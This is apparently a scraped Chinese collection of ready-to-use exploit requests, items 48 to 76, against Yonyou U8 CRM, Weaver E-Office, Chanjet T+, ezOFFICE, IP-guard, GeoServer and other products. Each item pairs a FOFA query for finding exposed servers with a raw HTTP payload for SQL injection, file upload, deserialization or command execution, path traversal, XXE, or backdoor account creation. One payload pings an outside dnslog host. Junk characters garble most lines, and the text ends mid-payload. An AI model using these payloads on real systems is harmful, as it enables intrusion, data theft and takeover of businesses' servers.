Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
+ A% h, e0 M; K# {4 A* ^% Q. {Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
& l7 \% n1 h2 h/ @1 c' I2 QConnection: close

. G  X1 G; X5 D8 J. T

$ a% o% e, X4 t9 K0 h9 o48. 用友U8 CRM swfupload 任意文件上传
9 W2 h; r/ I2 B* |4 ~# _FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
6 e* }9 S  }: M6 V1 ?4 M" y+ Q" R  ]8 KHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
, h3 _4 m1 n" D+ G; J1 gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ k( l2 a2 Z. U2 n2 kAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
# v4 P# }4 h; g# q$ FAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
Content-Disposition: form-data; name="file"; filename="s.php"
9 c+ X& B9 C; b4 D/ L, ^1231
7 |7 X( V2 v" x4 q, o# v; c' }Content-Type: application/octet-stream
------269520967239406871642430066855
! K4 H' n% y. a) d: Y* FContent-Disposition: form-data; name="upload"
upload
4 }5 m0 r3 L: w------269520967239406871642430066855--
' F/ R7 X! x/ d* Z) F+ _# b, x

! N" V9 q+ }& b$ u. t49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
5 d) B: t. S5 O! a* i, _
2 F+ D6 j- F2 `2 N  t) ]POST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
9 s# }# W5 z3 j. j% rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
4 g! ?4 Y. n: e' yContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 j2 X% H* D% L2 z7 Y/ O- lAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
& X! u& P5 @$ O1 |% tContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="file"; filename="%s.php "
2 e$ M0 |+ B) ?7 e8 }9 LContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
. h; j: m, a* M8 D3 u2 |5 I9 X7 r/ x; B
upload
-----------------------------vvv3wdayqv3yppdxvn3w--
& _5 E4 y( e& k$ ~& r
. l7 Y; ^1 `% I# L, X
2 K8 M" l( G% k. v9 w4 d7 u  e4 shttp://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
1 ^$ m2 T  I# h8 D6 b* @5 jPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
- h5 e5 }3 S8 _  e  d3 ?User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
3 P7 ?5 U2 d1 K9 o% u( [- q4 MContent-Length: 224
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
8 ~, P4 h& m; Y: wAccept-Encoding: gzip

. U: A& `! G% L7 R! ~8 tsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

3 _$ Q# d0 Y& a7 B& \- S4 k- V. Z
! L( Q# y3 _+ ]. L4 l51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
3 y2 d7 c3 r4 S4 j6 ~% {0 GFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
! _7 s# {  Q7 r# P( _& G- U  x$ `Host: your-ip
! q; F: z$ f) nUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
: R% ^2 l4 ~+ B: h5 z! @; x$ {Accept-Encoding: gzip, deflate
1 n1 h+ T. E$ D. sAccept-Language: zh-CN,zh;q=0.9
Connection: close
  L0 A9 k+ E  z7 U$ _" T

52. 泛微E-Office json_common.php sql注入
FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
- w% E% ?7 h) Z8 L4 d+ f6 W9 l) m2 MUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
0 X0 s, ]& c4 N' bConnection: close
Content-Length: 87
  w# p7 W  _2 Y+ A' g7 J5 |Accept: */*
: r$ {, R) i, ?8 n& C$ T0 ]( vAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
* p& I  @) ^$ u* c$ D* |

53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

% B$ n9 D. h  r# Y
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
5 h# h0 {( M* [3 z$ \, k: F第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
* I/ _' E/ `) N7 w' V  R+ _! S"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

$ T$ g& P# @. a! Z7 ]/ K$ W9 {
/ \# T! t/ p- {( A$ O) x完整数据包
! j- I" e$ w# n6 s5 Z# uPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
/ q1 ~5 }8 \' U+ g' J/ ?Host: x.x.x.x
2 k( U/ _  E. u3 c0 R& PUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

. H1 p# u( O- C- U* @1 J{
"storeID":{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
1 f1 T9 @# O8 ^. Z4 D* h6 g  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
/ R) u& r. u- s    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
  w/ n  N, v: ~+ z- i    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
6 i1 R4 V( \" B$ r    }
  }
  }
}

( x2 u" M0 j% l" i( I9 ]' |; y
; a, m% _9 X/ ?) J第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


) R0 ^1 l2 R. c+ r55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
4 D+ b6 @$ Y& g# r+ u5 }7 L第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
" q0 c$ f9 x4 S& o, K; wPOST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
1 w  d2 T6 D. m  x6 p4 G. j; i  iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
( t1 h! ]" k& r- V+ kContent-Type: application/json
- U- u6 M9 c+ u' `% _0 F. h: u
& z7 g, R5 H. b$ ?, c% B3 K' ]8 ^{
1 x! [' C. r; U2 i; M0 i8 {/ A  "storeID":{
& Q5 s9 m* U- @3 B/ R, ?    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
8 V$ T% i( ~4 {1 @   "MethodName":"Start",
    "ObjectInstance":{
& I$ y0 \0 |3 k. m: u% M9 X       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
7 i7 l  o9 N* {! E7 K        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
# `( O$ x3 B1 ]  d, J           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
% {. F+ O4 i5 j2 S% }* [- R       }
$ |+ T; j- Z3 Q" Z5 H; U+ F9 d    }
( M& r0 A. g8 S. s  }
}

0 T' M3 O- }- T2 j( k
57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
0 A7 G1 _9 D/ a) UHost: host
1 ^) w9 B$ y2 Y  eUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
. c* j6 W) D4 c5 U' B: U$ G- uAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close


& J( C3 z: S; X/ \58. 畅捷通T+ KeyInfoList.aspx sql注入
7 T- P- G' U7 v7 C2 d: w+ R4 C! mFOFA：app="畅捷通-TPlus"
. ?7 u& E4 ~7 x9 r  W4 pGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
0 k3 V! D8 j  ^8 |1 L2 d5 d* u' a, OUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
! y5 B* p$ c3 o2 `$ X; k$ xAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
' v* R8 k. G1 u: X: z8 q0 OConnection: close
& [1 c" k% @# ^9 V& h" g

: ~6 G  L% b2 E, e, @: n- t3 Q59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
4 S* \4 Q8 H+ N5 E0 R) I4 wFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
) ?, C# Z+ n! G2 j% tConnection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
; X( z, D5 c/ h" Q9 R0 e2 x, p9 }* ^Content-Type: application/x-www-form-urlencoded
/ x$ L6 Y" ^3 }9 ]- ]& DAccept-Encoding: gzip

4 [9 \# r. h& WPAYLOAD
2 N# k9 g$ H$ y$ B/ D- J7 q
3 f0 ]1 J) k8 b& t0 D
% u5 s) G4 d; f( Y2 u# X60. 百卓Smart管理平台 importexport.php SQL注入
3 A$ l4 l4 {, B/ \FOFA：title="Smart管理平台"
6 G# l6 |6 x# c" h( P" U8 p. tGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
) U6 n# k% L8 T& n( h$ D0 b& T0 R+ FHost:
8 n3 z& ~6 U. CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 b# |7 ^7 N- g# L3 O, n/ GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: m/ y- J" M9 ?, Q' z! u* A' dConnection: close
- P) D/ ]8 s" [( a" h

61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
! o6 R% g3 d" c# _/ PPOST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
; {+ s5 ^! P+ T5 P/ N/ FHost: x.x.x.x
" s0 R! F; {6 c. o* I( f" [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
4 _  ]0 Z9 v; K/ ?& }& rContent-Length: 27
Accept: */*
/ ~* l0 j3 v! R8 i% E( PAccept-Encoding: gzip, deflate
Accept-Language: en
; q5 S9 Q4 G) D/ N! k' |: WContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa
& Q7 H2 p: G+ ^

5 C" }2 X8 S. |) e0 x1 j62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
( A5 k/ C: Q: D2 T" C2 E' ~1 j* qGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
# S5 o" k& G$ z5 TConnection: close
3 O1 }( f/ n& s" g% D4 z2 sAccept: */*
& A1 c8 v) L0 D$ m; Q* }: ~Accept-Language: en
5 c9 J9 ~7 N; m3 \1 @5 k& iAccept-Encoding: gzip

2 V, H2 f; ]; @
访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
, S) _" X( X. @3 E8 I9 y

! F" B9 L9 [, O+ {63. IP-guard WebServer任意文件读取
) j3 p* \% v8 A1 _7 GIP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
) P0 g/ w/ Z6 o  F9 g. J, N. `Host: your-ip
- B1 K1 d" w/ d  [3 L! r0 EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
  z7 G" t, e4 I, ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ G# C/ }5 J5 L% S) r7 z: JConnection: close
Content-Type: application/x-www-form-urlencoded
7 C' q3 {) {4 m  N' X
1 |; F! b2 Q2 p7 {+ |+ O! f. @- U) x( Xpath=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
7 r7 n9 X: V, |  a$ ^) [FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
0 V# v/ H$ ^0 Y) k" m3 n' cHost: 192.168.86.128:9001
7 D, `/ T6 u$ |3 `User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
3 K! o) m  z# u& U6 UAccept: */*
. J+ n' P8 \3 @% s1 i3 N% l8 P7 rAccept-Language: en
Content-Type: text/xml; charset=utf-8
6 u' O( n- e( V; A! dAccept-Encoding: gzip

: o0 Z( u+ E0 N+ A; }* J, X! Y<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% m9 [6 \3 |* z<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
8 I4 h" e8 s- L! d$ f8 K1 k      <sId>1';waitfor delay '0:0:5'--+</sId>
% [  ?, U! d+ c. V* k) d/ d  D    </GetOSpById>
2 N2 ^9 Z3 A7 E% j3 H6 w4 T) b  </soap:Body>
4 o: ?5 v( b2 S; }( [2 Y</soap:Envelope>

( E; F! h3 X5 u' x* W
7 C; e  M5 i' v, a7 u' K$ Q: y65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
: C7 @4 P; w5 z* BFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
/ Y* |. ]/ i0 U- `3 Y( hPOST /SystemMng.ashx HTTP/1.1
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
  ?% [/ c9 k6 A# S- CAccept: */*
Connection: close
- }' i( r* x. l" \Accept-Language: en
Content-Length: 174

: n& \9 P# r# R4 UoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
5 s& |4 R& B) q3 E% e

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
! ~! i5 S3 O1 `% x( wFOFA：app="万户ezOFFICE协同管理平台"

# H6 W# L& w+ c* n" {GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
+ U, C2 K. _8 `- h, [User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
0 E, G) \6 q; o) E4 Y5 R; MConnection: close
# {% H4 I* X" S" D. t6 T0 MAccept: */*
Accept-Language: en
0 ?( L( U6 m7 w% R; v- w7 {Accept-Encoding: gzip
+ X- q7 w6 j& y1 z" r+ O

  Y/ {; v$ t0 j6 r第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
( c' \. N/ J; X1 L8 J" B3 xFOFA：app="万户网络-ezOFFICE"
$ g' V/ W" B- W, znewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
$ d3 v4 z- I: yHost: x.x.x.x
. u' L" v! a$ F8 f+ \* M' i2 c7 }" VUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
8 j* l% @; t$ Z- |& h8 [7 u& [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
9 f5 l( O9 S$ E" T) T7 F% m; Z: BAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
- |* N6 T6 i: W  aConnection: close
2 n9 V. Q  [' V2 r* i, n1 Q2 PContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
* W; I) R, t0 g% i6 U: s8 ?2 [DNT: 1
1 v5 e2 x3 R2 |2 ]8 L! y2 zUpgrade-Insecure-Requests: 1
* I, H4 _  H5 H) a4 E
--ufuadpxathqvxfqnuyuqaozvseiueerp
0 A7 _1 P8 L) M/ Y7 J% IContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
( y! F! d& |$ b& V& y
<% out.print("sasdfghjkj");%>
. `! H# \& o/ V0 V, P--ufuadpxathqvxfqnuyuqaozvseiueerp--


3 q' h7 v% ?6 L* d# d文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
6 d" I3 c5 F. @
68. 万户ezOFFICE wf_printnum.jsp SQL注入
0 E2 d& ~- g) B8 \2 X, t) pFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
1 p! X$ C0 x+ s/ v: ~3 d; d  VAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ l4 d6 i! W0 [9 K$ gConnection: close

/ T! [5 G0 D" o
4 c/ O) Z; u8 b0 X5 V* \69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
* T# w) k6 p& A& gHost: your-ip
. R0 }6 ^  {) P& ^2 w: c/ NUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
, e+ |, G( s# ^4 wAccept-Encoding: gzip, deflate
+ _$ _) D$ H& J. QAccept: */*
/ t6 a5 {8 J1 WConnection: keep-alive


70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
( L" M8 g; Q9 F* c0 M1 o- ]POST /member/success.aspx HTTP/1.1
+ m* p4 @! Q8 p5 j  h) d" FHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
5 \! s- m! G5 {# f+ r; \SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
0 k, Z! ?+ }; l" _3 k# I1 NContent-Type: application/x-www-form-urlencoded
4 ]1 }/ _5 r5 q0 gTYPE: C
! ?3 Y- z9 s/ T9 u: F6 CContent-Length: 16702

__VIEWSTATE=PAYLOAD
+ Y# V* R' \, d; @  `

& Z$ y. j* Q9 p. n71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
0 d4 J8 M/ a) TFOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
7 o2 E% F2 u5 u" b9 x$ _$ eHost: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
2 e7 _8 D7 E. r, F) tConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
* ?8 @# z& i+ E) z( L, rAccept-Encoding: gzip, deflate
, \5 K; f2 ?: }+ j- lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* h1 p) D6 u  A6 {' h3 `, }0 Z, g, BUpgrade-Insecure-Requests: 1


72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
: L# d& K/ u5 K0 _& _POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
  a* L+ @- Z7 _Connection: close
Content-Length: 583
( P3 _' a' M5 MContent-Type: application/x-www-form-urlencoded
* L* e" b( v! P" K7 A7 o/ QAccept-Encoding: gzip
; K+ F& @" K8 u$ m) d% F
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
0 H* L( M4 L4 b3 W
+ t) z; I/ R2 \. h9 ]
! H9 K" C" f' \% z0 U+ ~73. GeoServer wms远程代码执行
" a+ P" F  }, R8 g% @FOFA：icon_hash=”97540678”
# @5 c& [9 @/ W0 `; GPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
) F3 ?% R! ^1 f9 m2 S( U9 lContent-Length: 1981
9 I9 k) H. V( X1 M* J- YAccept-Encoding: gzip, deflate
* _* k, O. L# |, k- Z( a; PConnection: close
/ X9 T9 X7 T5 w6 c$ N; L: vContent-Type: application/xml
SL-CE-SUID: 3
% w: I( y2 J! c2 B) f! T; s
2 b. H" J: J& Q5 p9 g: e5 t7 O1 NPAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
$ J2 {+ }2 [. mPAYLOAD
6 J% L" }' x2 L9 F" {
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
8 |  }- f( V1 Y1 @6 aGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
4 P( C; f( u( E+ m$ t- r) nHost: x.x.x.x
3 ?3 A0 S' T& }, A" a: L% P2 UUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
* R8 j. C. f) t' dConnection: close
Accept: */*
' Z' v! t1 _8 c+ v( uAccept-Language: en
2 u; m: |! M; b7 y6 W2 t! \Accept-Encoding: gzip
9 A: ~9 B, V" P/ c6 W# v' v5 B
, R1 q" z, v" T& @( k! q
GET /cgi-bin/test28256.txt HTTP/1.1
1 T: t/ w5 J4 H2 r" F% E  mHost: x.x.x.x
, F# K2 L/ ^( y: C
0 ]! u) j6 J2 t9 H. ~
76. 新开普掌上校园服务管理平台service.action远程命令执行
FOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
  W1 u. X3 ]8 U4 vConnection: close
0 D7 ]% G$ v( PContent-Length: 211
1 |" \" Y* ?" y; O8 FAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
# l4 q7 M4 N+ X  j. L9 ]Accept-Encoding: gzip, deflate
# u* G$ `" S" ]: y% \# IAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
  w8 E1 S& C: b$ H9 \5 g  E, S' gUpgrade-Insecure-Requests: 1

{
# A! d: d* c( G+ q, N# b) y$ Q"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
